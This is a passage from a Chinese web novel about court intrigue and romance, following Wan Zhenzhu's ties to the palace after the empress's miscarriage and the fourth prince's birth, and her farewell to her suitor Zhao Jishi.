朱凤曦的心情嘛,总之复杂着。对于万珍珠其人,朱凤曦心头有一份的不甘心。 不甘心曾经被她踏于足下的奴婢,那是青云直上,还踩在了自己的头顶。 如此,便是那一份不甘心才会让朱凤曦一心一意的进宫来搏了一场富贵。 “本宫更在意了嬷嬷。嬷嬷心中有本宫。”朱凤曦提起了牛二囡。 “牛嬷嬷是娘娘的奶嬷嬷,牛嬷嬷的心里一直关心着娘娘的。”白玉顺着朱充仪的话讲道。 “本宫只盼着嬷嬷在万内相跟前,还是多说说本宫的好话。”朱凤曦感慨一回。 “多添几分好感,彼此有交集,本宫才好拉拢了万内相那一边的人手。”朱凤曦不想太心急。 或者说,朱凤曦便是心急。也得瞧着万内相的意思。 总不能朱充仪一头热担子挑着,对方不应声啊。 洪福十六年,冬至,大节庆。 这一日,本应皇家开宫宴,庆贺一番。哪料想,就这一天出了一样大事。 昭阳宫的魏皇后小产了。 万珍珠也进宫参加了宫宴,全程见证了这一起子事情的发生。 等着从宫廷出来,回了浑江郡主府后,万珍珠还感受到深深的寒意。 魏皇后的势力不小,或者说顶立支持魏皇后的一系人马势大。 如此,魏皇后还小产了?人为,意外? 反正各花入各眼,关于这一个问题嘛,可谓是仁者见仁,智者见智。 镐京都,内城,浑江郡主府。 牛二囡瞧着进宫一趟,归来后,还是又吩咐厨房准备了大餐的女儿。 牛二囡问道:“进宫吃宫宴,还饿着我儿了?” “可不,饿着。”万珍珠摸一摸小肚子,她觉得自己的小肚子瘪瘪的,真给饿着。 “真饿着?”牛二囡不信。 “真饿着。”万珍珠瞧见亲娘不信。于是她就给亲娘讲一讲宫廷见闻,也让亲娘涨一涨见识。 “怎会如此。”牛二囡给吓唬住。 “可不,瞧瞧娘,您都觉得不可思议。女儿还亲眼瞧了现场呢。可不得惊住,哪有心思尝了什么宫宴佳肴。”万珍珠捂一捂胸口。 她算是明白一入宫廷深似海,这话真没讲错。 “这出大事儿啊。”牛二囡感慨一回。 “中宫的皇嗣没了,这可是嫡出。当然是大事儿。要知道皇后娘娘的背后,那也有盘根错节的各方势力支持着。”万珍珠赞同亲娘的话。 “不过,不提这些扰人的事。”万珍珠挥挥手。 “娘,您陪我一道用饭吧。我们娘儿俩一起用饭才香。”万珍珠撒娇道。 “好。”牛二囡应了女儿的话。 至于什么宫廷内苑的魏皇后小产一事。事再大,也大不过吃饭。 人是铁,饭是钢,一顿不吃饿的慌。 牛二囡是尝过饥饿是啥滋味的人。对于饭食,牛二囡是顶顶尊重的。 一米一饭,全是辛苦种出来的食粮,可不敢浪费的。 次日。 万珍珠跟爹娘都递了话。亲爹那一边是差心腹递的话。 万珍珠想去大佛寺上香。亲娘这一边同意了。如今就等一等亲爹的意思。 跟亲爹吱一声,那是万珍珠心疼亲爹。毕竟一旦她跟亲娘去大佛寺上香,那肯定要小住几日。 如今,倒是独留了亲爹一人在镐京都的城内。 这般,当然要跟亲爹打一个招呼。没得剩了亲爹一人的道理。就说万一,万一亲爹有闲暇,这一回府,瞧着府上妻女不在。这,岂不是就错过了一家人团聚的好日子。 当然,依着万珍珠的看法,凭着魏皇后小产一事。 宫廷内苑不会安宁,亲爹一定很忙碌的。 想出宫,想归家?想是亲爹没得闲功夫。 可亲爹没闲功夫,做为小辈,做为闺女,应该吱声时,万珍珠肯定吱一声。 不为旁的,这是尊重。 事实也跟万珍珠想的一样。万忠良对于妻女想去大佛寺上香一事,他应的干脆利落。 冬至节见血了,落万忠良眼中,这就不是好兆头。 让妻女去上香祈福就不错,还是去一去晦气。 得了亲爹允许,万珍珠与亲娘一道离府。 母女二人乘坐着马车往镐京都外的大佛寺去。 到了大佛寺,拜佛主,拜菩萨,上香祈福,捐香火钱,听一听高僧诵经。 可谓是上香礼佛的一套流程,哪哪都不缺席了。 说来,也巧。万珍珠和亲娘小住于大佛寺的第二日。 天暗了,下雪了。 一场纷纷扬扬的小雪落下。大佛寺的梅园里,梅花在雪景中盛开。 红梅、粉梅、黄梅、白梅等等,各色的梅花,各色的景致。 这一日,亲娘又去听高僧诵经。万珍珠则是准备踏雪摘梅。 在梅园,万珍珠遇上了赵济世。 “赵大哥,安好。”万珍珠笑道。 “万妹妹,安好。”赵济世拱手一礼。 “妹妹来摘梅,我替妹妹折几枝吧。”赵济世说道。 此时,雪景,梅开。赵济世瞧着披着大氅的万珍珠。映入眼帘时,别有一番美,落在赵济世的眼眸里,心湖中。 “……”赵济世想夸,却又未曾讲出口。 只这会儿,赵济世在万珍珠的指使下,他是摘了几处开在高枝的梅花。 万珍珠接过赵济世递上来的寒梅。她笑道:“真巧,今个能遇上了赵大哥。” “不是巧合,我知道万妹妹来了大佛寺,特意来此。”赵济世坦坦荡荡的表明心意。 赵济世心理最知,在跟浑江郡主万珍珠表明心意后。 或许是心扉敞开,他更是闹懂了一日不见,如隔三秋,这话的由来,半点不虚假。 赵济世不止心中念一念万妹妹,他还想见一见浑江郡主万珍珠。 见一见,一解相思意。 这会儿,万珍珠沉默了。二人都沉默着不讲话。 雪,在此时纷纷扬扬的洒落。落在花间,落于身上。 “赵大哥,我曾听过一句诗。”万珍珠停步,转身,她瞧着赵济世,笑道:“今朝一道同淋雪,此生也算共白头。” “赵大哥,我们一起淋了这一场小雪呢。”万珍珠伸出手,她还接住了一朵小雪花。 赵济世瞧着万妹妹的手,那手,洁白如佳玉。那雪,皎皎若月光。 “今朝一道同淋雪,此生也算共白头。”赵济世念一回诗。 这一句诗,在这一刻,那真的刻进了赵济世的脑子里,心尖尖上。 “……”赵济世望着万珍珠,他笑了。 万珍珠瞧着赵济世的笑颜,她心想,男颜祸水,真俊。 这会儿的万珍珠也笑了。 有些话不必再讲,此时笑了,无声已胜有声。 大佛寺里,万珍珠渡过了开心的一天。 镐京都,皇宫,昭阳宫。 魏皇后见过母亲和嫂嫂,她渡过了难熬的一天。 “母亲。”魏皇后躺在榻上,她歪了身子,还是倚在母亲庆德公主的怀里哭一场。 这不是魏皇后头一回哭,她已经哭了好些回。哭的眼睛疼。 “……”庆德长公主抱着女儿,瞧着哭得不能自已的女儿。 庆德长公主既是心疼女儿失了孩子,又是伤心流着魏氏血脉的皇嗣没保住。万一,万一这一胎是一位小皇子呢。 “我儿,莫哭。”这时候殿内没外人,只余着庆德长公主和儿媳在安慰了魏皇后。 庆德长公主哄一哄女儿,她道:“你还年轻,你总会跟天子再有子嗣的。” “母亲。”魏皇后抬头,她讲道:“生了沁阳后,我喝了一碗又一碗的坐胎药。好不容易才怀上一胎……” 魏皇后想着小产掉的子嗣,她太伤心。 特别是如今的情况下,魏皇后小产了。朱充仪临近着产期。 她不好,别人很好的情况下,魏皇后的心态崩了。 “母亲,不一样的,不一样的。”魏皇后嘀咕话。 “我小产了,我不能生。这宫廷里有的是嫔妃替天子表哥生皇子。朱充仪就要生了。人人都说,朱充仪这一胎是皇子。”魏皇后的危机感十足。 庆德长公主听着女儿的话,她沉默片刻。 “皇后娘娘。”庆德长公主换了称呼。 “要不,您抱了朱充仪将要生下来的小皇子。民间都说抱养子嗣,添了缘分。万一,朱充仪这一胎生下的皇嗣能给皇后娘娘带来新的子嗣缘分,多好。”庆德长公主又劝道。 这不是头一回劝话。往昔劝,如今再劝。 “不,本宫不抱养朱氏的孩子。”魏皇后一口否决掉。 “本宫的孩子没了,还替别人养孩子。本宫做不到。”魏皇后哭得泪眼婆娑。 魏家的世子夫人在旁边瞧着皇后的做派,瞧着婆母庆德长公主劝话,劝了无数回,就是劝不住魏皇后改了心思。 世子夫人心累,累得慌。 这小姑子魏皇后真难缠,简直就跟猪队友一样。 干好事时,这一位帮衬不上多少。拉后腿时,这一位一次不落下。 世子夫人替婆母心累,替公爹心累。可想着都是一家人,一荣俱荣,一损俱损。 世子夫人劝道:“皇后娘娘,母亲也是替您考虑。” “万一朱充仪生下四皇子,您抱养了,又没更改皇家玉碟。大不了,等您生下嫡出的小皇子后,再给四皇子挑一位新的养母便是。”世子夫人劝道。 “胡说。”庆德长公主讲道:“真是抱养了四皇子,哪怕有嫡出的小皇子,也得把四皇子继续拢手里。没得替旁人做嫁衣的道理。” 依着庆德长公主的心思,如果魏皇后生下嫡出的小皇子。那么,让四皇子给嫡出的弟弟做帮手便是。 凭着魏国公和盟友的势力,嫡出小皇子想压了庶兄,有的是法子。 这一厢,庆德长公主在宫廷里劝了女儿魏皇后。 只魏皇后再被劝,她的心意就不改。 皇宫,泰和宫。 洪福帝在抄经,他在替皇后表妹小产的那一个孩子写了渡人经。 哪怕那一个孩子无福,可到底是嫡出。在洪福帝的心里还是留了一份感情的。 只抄好后,洪福帝吩咐人去烧了,当是给孩子添了福份。盼着孩子下一世,投胎功成,莫在夭折。 万忠良安排了天子吩咐的事,尔后,他又匆匆来禀了一桩消息。 “启禀陛下,后宫报信,朱充仪要生了。”万忠良禀话道。 “朱充仪到产期了?”洪福帝问道。 “朱充仪八个月的孕期,充仪娘娘是早产了。”万忠良恭谨回道。 听到这话,洪福帝的神色冷漠。他的眸光一动,似乎在想着一些事情。 “摆驾,朕要去瞧一瞧朱充仪。”洪福帝吩咐道。 “唯。” 等着洪福帝的圣驾到朱充仪的寝宫落辇时。 王贤妃领着一众嫔接驾。魏皇后不在现场,皇后娘娘还在坐小月子。 “免礼,平身。”洪福帝摆手,这会儿他哪有心思在意了这些嫔妃。洪福帝更关心了进产房的朱充仪。 此时,帝王要守在产房外。王贤妃赶紧的劝话,道:“陛下,妇人生产,时间甚久。要不,您在主殿内坐一坐。” “去主殿。”这会儿的洪福帝听劝。 外面天冷,洪福帝再心急了朱充仪腹中的皇嗣。他还是遭不住天冷。 等着进了殿内,那就暖和起来。此时的洪福帝坐于上首。 至于在场的嫔妃们,有一人算一人,她们不在意了朱充仪。可她们在意了天子。 似云美人等等,这一些的嫔妃可太想争宠,她们都想成为下一个怀孕的嫔妃。 又一日,天晴。 在大佛寺里,万珍珠还得了亲爹差人送来的消息。 “娘,我们得回府了。”万珍珠跟亲娘讲道。 “你爹在家书里讲些什么?”牛二囡关切的问道。 “今日,朱充仪诞下四皇子。陛下有言,四皇子要办洗三宴。这不,爹爹让我们回府。女儿还要参加了四皇子的洗三宴。”万珍珠对于多上一桩事情,她也烦。 “喜事,陛下添一位皇子。真是太好了。”牛二囡感慨一回。 “充仪娘娘是有福的人。不,是有命数的大富大贵的贵人啊。”牛二囡挺为朱凤曦开心的。 至少落万珍珠的眼中,亲娘在替朱凤曦高兴。 “是啊,就跟娘讲的,充仪娘娘好命数,好福气。”万珍珠嘴里这般讲。 可在心里,万珍珠好堵心。知道朱凤曦越过越好,怎么办? 万珍珠一点也开心不起来。 “娘,有一重点,我们得给四皇子备了洗三礼呢。”万珍珠提一事。 “对,对。”牛二囡应道。 “回府后,还得赶紧备了洗三贺礼。”牛二囡笑道:“府上跟充仪娘娘的关系也近。倒底得备一份厚礼才成。” 对于亲娘的话,万珍珠嘴上不说,她的心里不承认的。 万珍珠跟朱凤曦的关系可不亲近。只瞧着亲娘热乎着。 万珍珠不打扰了亲娘的欢喜。 像是四皇子是八个月的早产儿等等,这一点真相,万珍珠懒得多嘴。 事情摆那儿,搁这一个世道里,早产儿都难养的很。 对于四皇子,万珍珠没有太大的恶感。可是,一想到四皇子是朱凤曦手中的最大筹码。 万珍珠又免不得生了逆反的心理。 没有法子,谁让万珍珠对杨婉芯和朱凤曦母女二人,那是恨在骨子里,恨在灵魂缝儿上。刻的太深,已经去不掉了。 虽说,万珍珠不至于没品德的咒了一个刚降生的小婴儿。 可对于四皇子的未来吗?万珍珠不抱希望。 早产儿啊,本来就难养。更不肖说,还是在皇子尊贵的天家。这里面的风险多大,懂得都懂。 离开大佛寺,万珍珠与亲娘坐于马车上。 马车周围有护从跟随。听着哒哒的马蹄声,万珍珠又免不得掀起车帘子。尔后,万珍珠瞧着熟人的脸。 万珍珠瞧见了,在跟自家护从有一些距离的官道上。赵济世也骑着马,他跟随在万珍珠一掀起车帘子后,便可瞧见的位置。 此刻,万珍珠的唇畔是扬起一抹灿烂笑容。明明天冷,可万珍珠却觉得心里暖暖的。 第50章 面对这般的赵济世,万珍珠有一点理解一种无奈。 卿本良人,奈何,世道不对。 要搁穿书前的时代,遇上一心一意,还是合了自己心意的蓝颜祸水,万珍珠就从了。 毕竟那时候天南海北,交通便利。多少读书了,工作后的普通人都是求学在大城市,生根发芽在大城市。 至于故乡?小镇做题家的一辈子愿望就是走出小镇,扎根大城市,给自己下一代一个更好的未来。 穿书前的时代,那是科技繁荣的果。那能享受了科技繁荣的好。 如今这一个世道又不同。一旦远嫁了,可能就是一辈子再难见到生父生母,爹娘双亲。 “……”万珍珠瞧着策马缓行,附于队尾的赵济世。 明明心里被暖了一回。一旦理智回笼后,万珍珠就又会心里抽疼一下。 人太好,想亲近,又不敢亲近的那等难受劲儿,万珍珠懂了。 原来不懂,不过是那时候的万珍珠没有为赵济世怦然心动罢了。 现在懂了,一知相思,便懂相思。 相思为何?情字为愁。 搁下车帘子,万珍珠坐于马车内。牛二囡瞧着女儿淡了两分的神情。 知女莫若母。至少在牛二囡心里,她觉得,她懂闺女。 “我儿可在担忧了四皇子的洗三宴上遇什么烦恼事?”牛二囡问道。 “怎么会,娘,您觉得女儿会那般多思吗?”万珍珠怎么可能烦恼四皇子的洗三宴。 朱凤曦与四皇子,这一对母子与万珍珠何干? 他二人过得好不好,万珍珠一点不在意。 万珍珠这会儿是为自己的“爱情”发愁。来的太突然,让人不对劲。 “那你担忧什么?”牛二囡问道。 瞧着女儿神情淡淡,特别是眸光也变的淡淡,牛二囡就直 接问了女儿心事。 “娘,我舍不得您和爹爹。我想一辈子陪在你们的身上,做爹娘的掌中宝,心头肉。我们一家人一辈子都不要分离了。”万珍珠说着自己的想法。 亲爹、亲娘心疼她的。这一点万珍珠确信无疑。 就因为得了亲爹、亲娘的心疼,万珍珠舍不得离开家人。 “哈哈哈……”牛二囡笑了。 “我当什么大事。”牛二囡伸手,轻轻拍一拍女儿的手背,又道:“你再不舍得爹娘,将来一旦成婚,也要嫁到婆家过日子的。” “好在你爹也心疼你,一定会替你挑了好姻缘。便是嫁,也当会嫁在镐京都。我们一家人,一定不会远离的。”牛二囡说着丈夫的打算。 不止是丈夫的打算,更是牛二囡的心思。膝下就一颗独苗苗血脉,当然没可能让闺女远嫁。 真是远嫁,往后哪能常常见着面? “我儿说说,怎么突然提了这事情?”牛二囡问道。 “娘往昔在意着宫里的朱充仪,这不,我瞧着朱充仪从永州到镐京都,一路西来,往后充仪娘娘一辈子的指望是四皇子。离着娘家永州的地界,这一辈子怕是不可能再踏足一回。” 万珍珠随口拿着朱凤曦举例子。 “……”牛二囡一琢磨,她还觉得女儿的话对。 朱充仪的富贵有了,下半辈子的依仗有了。可惜,就是一入宫门深似海。前程未来,瞧着一切都有,可到底还要搏了命。 毕竟宫外朱氏一族的坏运势,连连出事,牛二囡不止耳闻。 谁让杨夫人登门过,敲过边鼓。 只没有丈夫万忠良的点头,牛二囡不敢应下杨夫人的请求罢了。 “充仪是有福的,有了四皇子,啥指望都有了。”最后的最后,牛二囡只能感慨这么一句话。 “娘的话有道理。”万珍珠附合一回。 反正四皇子是早产儿,会不会夭折什么的,万珍珠绝口不会提的。 等万珍珠回了浑江郡主府后。她与亲娘一道拟定一份进宫的贺礼单子。 参加洗三宴,应该送的礼,万珍珠不会不舍得。 除此外,万珍珠起心思,她想花更多的精力在自己的事业上。 瞧着爱情的前路坎坷,注定没前程。三年之约,还没开始,万珍珠已经在心里敲了退堂鼓。 在心头,万珍珠也唾弃一回自己的胆儿小。 可没法,谁让万珍珠太识趣。她不想挑战了难度高的未来。良人虽好,奈何赵臣。 待四皇子洗三日,万珍珠进宫一趟。 宫廷里的热闹,万珍珠一点不在意。至于王贤妃主持的宫宴,魏皇后坐小月子这一点小事,万珍珠更是疏略掉。 万珍珠不是宫廷内苑的人,这儿发生什么,跟万珍珠没直接关系。 倒是瞧着王贤妃的风光,万珍珠偷偷的瞄过庆德长公主的神色如何? 瞧庆德长公主还是宗室长辈的和蔼作风,给洗三添盆时,坦坦荡荡,大大方方。 万珍珠心头都夸一句,心态真好。 朱充仪得意了,皇子抱上。魏皇后失意了,坐小月子。 不拉踩谁,就纯粹是对比一下,这二人真可谓是太鲜明的对照组。 惨惨淡淡的,当然就是魏皇后一系。 来一趟宫里,万珍珠不算显眼的一份子。 不过,她还是遇上亲爹一回。 “闺女,你礼送到,宴参加了,早些回府。你娘在府上一定一直记挂着,莫让她担忧惦念。”万忠良跟亲闺女趁着空子谈话时,还是交代一回。 “爹爹放心,女儿明白。”万珍珠应一声。 在宫廷里,父女二人没多说话,就是碰一面。 尔后,万忠良就离开了。 寻着的这一空隙,于万忠良而言太容易。 今个四皇子的洗三宴,洪福帝要露面的。身为天子跟前的近臣,万忠良也要随侍天子左右。 这不,亲爹遇上闺女,说几句话的功夫后,各归各处。 洗三、满月,属于四皇子的节庆日,哪一日都不会省了。 哪怕满月时,那在大年开初的日子。 洪福十六年过,迎来洪福十七年。新开年好时节。 万忠良得了洪福帝的允许,他也窝在府上过几日舒心日子。 新一年,图一个红红火火。 浑江郡主府上,挂了彩纸做的灯笼。不止红色,还有旁的各色灯笼。 倒与旁处不同,让万忠良欣赏一回。这不,这一日,一家三口一起吃吃暖茶,在花厅里还是谈天说地。 不让旁人侍候,只一家子闲聊趣话。 “闺女,瞧着去年你太忙碌,倒成大忙人。”万忠良的目光落闺女身上,打趣一回话道。 “……”牛二囡在旁边捂嘴笑。笑的挺开心。 “爹爹,女儿再忙碌,可比不得您,您身上挑着大晋的福祉。天下最尊贵的人,可是陛下。爹爹在陛下跟前当差,可不是比女儿还忙碌了。”万珍珠笑道。 “你当咱只是打趣吗?”万忠良问闺女,问的明明白白。 “莫不成爹爹话里藏话,还在考校了我?”万珍珠琢磨一下。 “爹爹,您给说说,可是我做的事情里,有哪一桩不对的?”万珍珠认真脸,也怀疑是不是哪里出错了。 “……”万忠良瞧一回闺女,讲道:“你啊。” “在爹娘跟前装糊涂了。”万忠良又道:“你那些铺开的摊子,前前后后,又花上多少银子。不止这些小事,闺女,你可一直借着咱的名义在薅朝廷的羊毛。”万忠良对于女儿借名义,使劲儿的挖墙角一事。 万忠良知道的清清楚楚。这不,他准备提点一下闺女。 “嗯嗯。”万珍珠狂点头。 “爹爹明查秋毫,女儿就知道,我那一点小心思瞒不住谁。瞧瞧,在爹爹跟前,全是露了原样。” 万珍珠没有不承认的心思。她又倔强一回。 “只是爹爹,女儿会这般做也是让人劝的。这一开始并非是女儿的本意。” 万珍珠给自己加戏,她笑道:“晋廷是大晋的,是陛下的。” “奈何替陛下做事的人多着。爹爹,有人跟女儿讲一个道理。说,有些好处不是黑的,也不是白的,是灰的。” 万珍珠想着当初各家厚礼时,亲爹点过头的。 “女儿不收礼,送礼的还以为是不入爹爹法眼。这是替爹爹凭白无故的招了仇人。”万珍珠笑道。 “你啊,拿咱旧话堵人。”万忠良笑道。 当初朱家送礼,万忠良劝过闺女的。 “你知咱的意思,咱问的是你管着的商社,你收养的遗孤。”万忠良伸手,食指是轻轻的虚点一下闺女道。 “商社的生意好,人脉广博,四通八达,可谓开门纳财纳福。”万珍珠对于生意上的事情都很在意。这关乎钱财,对于万珍珠的小金库太重要。 “至于收养孩子的事情……”万珍珠沉默片刻后,她回道:“爹爹,您既然关注了,一定了解情况的。” “女儿收养的大半是女婴女郎。”万珍珠说的实话。 一旦婴儿生下后,会被养活了,会被养好了的孩子一定是男娃小郎。 “有小半收养的小郎,好些都是有缺陷的孩子。”万珍珠实话实说。 这些流浪过,没爹娘的男娃小郎,身上肯定有缺陷的。 若不然卖了自身,也一定会有一口饭吃。 万珍珠会收养有缺陷的男娃小郎,不止善心,也是瞧着人还算机灵,好好教一教,还是得用的。 至于那些缺陷,总不过是小缺陷。例如面目有损,长相太丑等等。 在这世道里是小毛病,真是大毛病,可能生下后,也是活不成的。 “爹爹,女儿挣些钱财也不容易,摊子大了,开销多了,总免不得要精打细算。”万珍珠吐苦水。 如今的万珍珠还想薅羊毛,这对象吗?当然是亲爹,以及亲爹背后的皇家。 背靠大山好吃饭,守着皇家这一座大矿,不薅些羊毛,不多薅一些,万珍珠会心痒痒的。 “你这孩子。”万忠良摇摇头,笑一回 。 “倒一直把主意打自家人身上。”万忠良不是骂了闺女,而是一桩打趣。 毕竟在女儿需要时,万忠良可是大大方方的让女儿在皇家身上多薅了不少的羊毛。 慷皇家之慨,万忠良会的。 谁让皇家的油水多,万忠良不拿一点,下面人哪敢伸手? 到底这是世道的规矩,水至清则无鱼。 万忠良拿一些好处,让下面人也拿一些好处。 如此这般,大家伙都是两相便宜,好处均沾。 这时候听着父女二人谈话。牛二囡也关心一回女儿的事业。 特别是盘帐了女儿的私库,那又挣回来多少的金银。 这不,谈到兴起时,牛二囡又是巴巴儿的说一通亲闺女的嫁妆当如何多添置一些。 “又一年,闺女又添一岁。当选一桩一姻缘了。”万忠良讲道。 “夫君,珍珠的姻缘能有着落了?”牛二囡关心了女婿的事情。 “今年一定妥当。”万忠良说的肯定。 “那便好,可真真不能再拖了,再拖下去,我儿得成别人嘴里的老姑娘。”牛二囡可不想女儿一直担搁下去。 瞧着爹娘说的火热,万珍珠明明应该心情沸腾的。 可万珍珠却感觉着,她心头有一点点凉凉的感觉。 “爹爹,娘,我不着急的。”万珍珠说道:“我舍不得你们,真不想嫁去别家。” “……”牛二囡听着闺女这般说,她也为难的很。 从小养大的亲闺女,牛二囡一样舍不得。可舍不得归舍不得,在牛二囡的心底,还是让女儿有一桩好姻缘,早些生下孙孙辈的执念更深。 万忠良的目光落闺女身上,他笑问道:“真不想远嫁?” “嗯。”万珍珠肯定的点头。 “那咱得跟赵济世提点一二,让他往后,莫再攀附上来。”万忠良点了人名。 “……”万珍珠沉默了。 “爹爹都知晓啊。”万珍珠恍然大悟。 “三年之约嘛。”万忠良说的不轻不重,就跟一点小事一样。 “什么三年之约?”牛二囡在旁边糊涂的紧。 万珍珠瞧着亲爹似笑非笑的神情。她便红了脸,给亲娘解释一回“三年之约”从何而来,因何而起。 “……”牛二囡听完亲闺女的话,她给干沉默了。 “你倒胆大的。”良久后,牛二囡给一个评价。 “只那赵济世再好,什么三年之约,全都不成的,我是不允的。”牛二囡讲道。 “娘放心,我都懂。”万珍珠特懂亲娘的担忧在哪。 “我不会远嫁的。”万珍珠安慰了亲娘。 “会不会不舍得?”万忠良问闺女。 “有亿点点的不舍得。”万珍珠诚实回道。谁让蓝颜祸水,谁让赵济世刚好就俊的合了万珍珠的胃口。 奈何,莫奈何。 万珍珠感慨一回,神情严肃,她又说道:“爹爹,他人虽好,却是赵家臣子。我不远嫁,我俩是没缘的。” “一个小武官,除了有一点真心,又哪有什么拿得出手的。”万忠良点评一下赵济世。 “闺女放心,咱一定给你挑一个更好的。”万忠良劝慰一回亲闺女。 “他人俊,合我意。”万珍珠忍不住开口讲一句话。 “哈哈哈……”万忠良听着亲闺女的话,他是大笑一回。 “放心,咱一定给闺女你挑一个比赵济世更俊的夫婿。”万忠良太懂了。这三条腿的蛤蟆不好找,那两条腿的女婿好找的很。 “……”万珍珠有一点沉默了。 比赵济世俊吗?可再俊,那不是赵济世啊。 不是那一个人,那感觉,还对吗? 此时,被人议论了的赵济世在写家书。写给他的结义兄弟们。 人不在燕京都,人不在北镇,甭管是关乎前程的燕京都风云,还是北乡故里,两处都让赵济世挂念的很。 赵济世已经得到燕京都的书信。乃是大皇子的书信。 赵济世已经得着这一位允诺,在淑阳公主入宫后,他即可起程回返燕京都。 待春日,不止淑阳公主会进了大晋天子的宫廷内苑。 大吴朝的和亲公主也会到来。 两国公主,皆入晋廷。在如今天下人眼中,大晋天子自然是受了美人恩重。 晋廷威风,不言俱表。 “时间真快,当回燕京都,要离开镐京都了。”赵济世对于早早归去,他心中期盼。 大好男儿,又岂会不想着建功立业。 只是一旦远离镐京都,再难见着万妹妹。赵济世有一点不舍得。 可这等不舍得的心思刚冒头,赵济世立马又掐掉。 两情若想长久,自然要世俗大业的护持。出身微寒的赵济世最懂这一个道理。 人穷时,得弯腰。 有权时,想护了心爱的一切,都可呵护好的。 而赵济世就想护了心中的一朵花,一朵美人花。 美人似花,总要添彩。若不添彩,岂不是容易凋零。 在赵济世的心中,他想要长长久久的两情相悦。 人生恩爱,两不相疑。 “万妹妹,我们会有缘的。”赵济世抿一下唇,尔后,他的眼神里只剩下坚定。 二人想有缘,只想一想万内相的体面。赵济世就知道他要走的路,还有很长很长的一段。 风雨后的彩虹很美。那么,艰辛万苦之下求娶而来的心上人呢? 赵济世知道,考验之后得着的欢喜,那才是真正的大欢喜。 洪福十六年,春。 大赵公主,大吴公主,二位和亲皆入洪福帝的宫廷内苑。 浑江郡主府上,万珍珠练一练画作。 搁笔后,她自然欣赏一回自己的绘画手艺如何。 “妹妹的画,真是好看。”林江郡主在旁边赞一回。 “我这几笔,只不过聊以安慰自己罢了。姐姐莫夸,我这还得多多进步才成。”万珍珠有自知之明。她哪是什么利害人物。 不过是讨巧的学一点,勉强能入眼罢了。 “姐姐,四皇子的百日宴将至。听说,这一回宫廷里要大办。一定热闹着。”万珍珠提了一事。 “这一回四皇子的百日宴是皇后娘娘操持,自然会热闹的紧。”林江郡主点点头,也觉得当如此。 “宫宴热闹,不止如此。百日宴上,我们又当会见着两位和亲公主。”林江郡主又道:“可惜,前头我病一场。” “倒是瞧过淑阳公主的模样。不,应该是知道李贵妃长什么模样,端端是一位国色天香的美人。”林江郡主嘴里的李贵妃,当然便是大赵朝的淑阳公主。 至于另一位大吴朝的和亲公主。洪福帝册封为德妃。 “倒是德妃娘娘,我却不曾见识一回。”对于大吴朝的和亲公主,这一位新出炉的德妃嘛,林江郡主好奇一遭。 “德妃娘娘不让贵妃娘娘,也是绝代佳人,风姿不凡。”万珍珠见过大吴朝的公主长咋样。 这时候讲一讲,夸一夸。 不是虚夸,而是大吴朝敢送进大晋天子的后宫,那真的长得太美。 “原来如此,也难怪了。”林江郡主感慨一回,说道:“我还听一耳朵的谣言,都说二位和亲公主甚得帝心,双月争辉。” 双月,自然是指二位和亲公主,洪福帝的贵妃与德 妃二人。 “贵妃娘娘,德妃娘娘自然都是宫廷贵人。二位顶顶尊贵的。”万珍珠说一说场面话。 “可要论得了圣心,还得数一数三皇子、四皇子,这二位殿下是陛下的血脉骨肉,最得圣心。母凭子贵,贤妃娘娘,充仪娘娘,二位娘娘一定也是陛下心尖尖上的人物。”万珍珠笑道。 只是在心头,万珍珠得腹诽一回。皇帝的心尖尖,那肯定跟榴梿一样,尖尖儿太多了。 哪怕多分一点给谁谁,那心尖尖上也是站得住脚。 洪福十七年,又一年,万珍珠这一年的夏就会过十七岁的生辰日。 此时,春尚在。四皇子的百日宴将举行前,万珍珠得了消息。赵济世将要离开镐京都,起程回返燕京都了。 于是万珍珠准备送行一回。在自家的茶楼,万珍珠单独见一回赵济世。 送人离开,千里之外。万珍珠准备了一些必备的东西。像是武人常备的药丸子等等。 有间茶楼,二楼雅间。二人独处时,万珍珠递上了一个小匣子。 “赠给赵大哥。此一别不知何时再见。”万珍珠灿烂一笑,道:“祝赵大哥鹏程万里。” 赵济世接过小匣子打开,他瞧见,那里面是一对泥人儿。 不,应该说是捏的泥人,烧成了三彩模样。 很漂亮。特别是一对小人儿,还是一对福娃娃。 男娃娃、女娃娃都长得可可爱爱,圆圆笑脸。 “曾听过一句诗,此时,我觉得很应景。应景在赵大哥身上。”万珍珠的一双眼眸子映衬着赵济世的一张俊脸。 “万妹妹的礼物,我很喜欢。”赵济世笑得高兴。 “万妹妹觉得应景的诗,我一定得听听。”赵济世准备洗耳恭听。 “无人扶我青云志,我自扶摇上山巅。”万珍珠念一遍。 “……”听着这一句诗,赵济世沉默不语。他似在听,又似思考什么。 “在我心里,一直相信赵大哥是要做大事的好男儿。”万珍珠瞧着沉默的赵济世,又是讲一番话,说的理直所壮,她真相信。 “万妹妹信我,我总不能辜负了妹妹的信任。”赵济世的一双眸子望着万珍珠,他的瞳孔之中,此时此刻,映满了万珍珠的身影。 三年之约,赵济世真信的。信了三年之后,他赵济世与万妹妹是有缘的。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 若非此时不在燕京都,赵济世一定会想立马干成一番大事业。 赵济世一颗火热的心,在这会儿为着他的“万妹妹”是燃了起来。 万珍珠瞧着赵济世一双深情的眼睛,她微低头。 对方的深情,她突然觉得自己有一点不配。 因为对于二人的未来,万珍珠没信心。 可面对一网情深,万珍珠又拒绝不得。毕竟赵济世加了一个注词,三年之约。 对方不强求,只祈祷上苍给一个希望。这般卑微,万珍珠还能怎么办? 既然答应了,当然就是等候着时光的检验。 “这赠给赵大哥。”万珍珠又从袖中拿出一方小印。 “这是何?”赵济世接过,又问道。 “燕京都有我暗中建的商社。赵大哥支取北镇分商社的分红时,可在燕京都支取。”万珍珠指着小印,道:“这是凭证。” 空口白牙,想拿走大笔银钱,凭何? 商社有商社的规矩,万珍珠总要给人一方证明的凭证。 “妹妹心细。”赵济世赞道。 “不过商社的寻常规矩,担不得赵大哥的夸赞。”万珍珠微微一笑。 在心头,万珍珠还是准备按着最大的分红给面前的“好人”赵大哥。 应该给的支持,万珍珠就给了。 “我这算不算吃上了妹妹的软饭?”赵济世笑问道。 这会儿的赵济世把玩着那一方小印,他问话时,似笑非笑的神情间带着打趣的意味。 关于“软饭”二字,还是万珍珠给科普的。 赵济世记住了。 “这怎么算软饭?”万珍珠嗔怪一回。 “北镇分商社的成立,赵大哥出钱出人,既然有付出,当然会有收获。”万珍珠说的斩钉切铁。 “我出了几分力,我心中有数。我是沾了妹妹光彩的。”赵济世笑道。 “赵大哥若沾着我的光彩,那是我乐意的。”万珍珠的态度是坦坦荡荡。 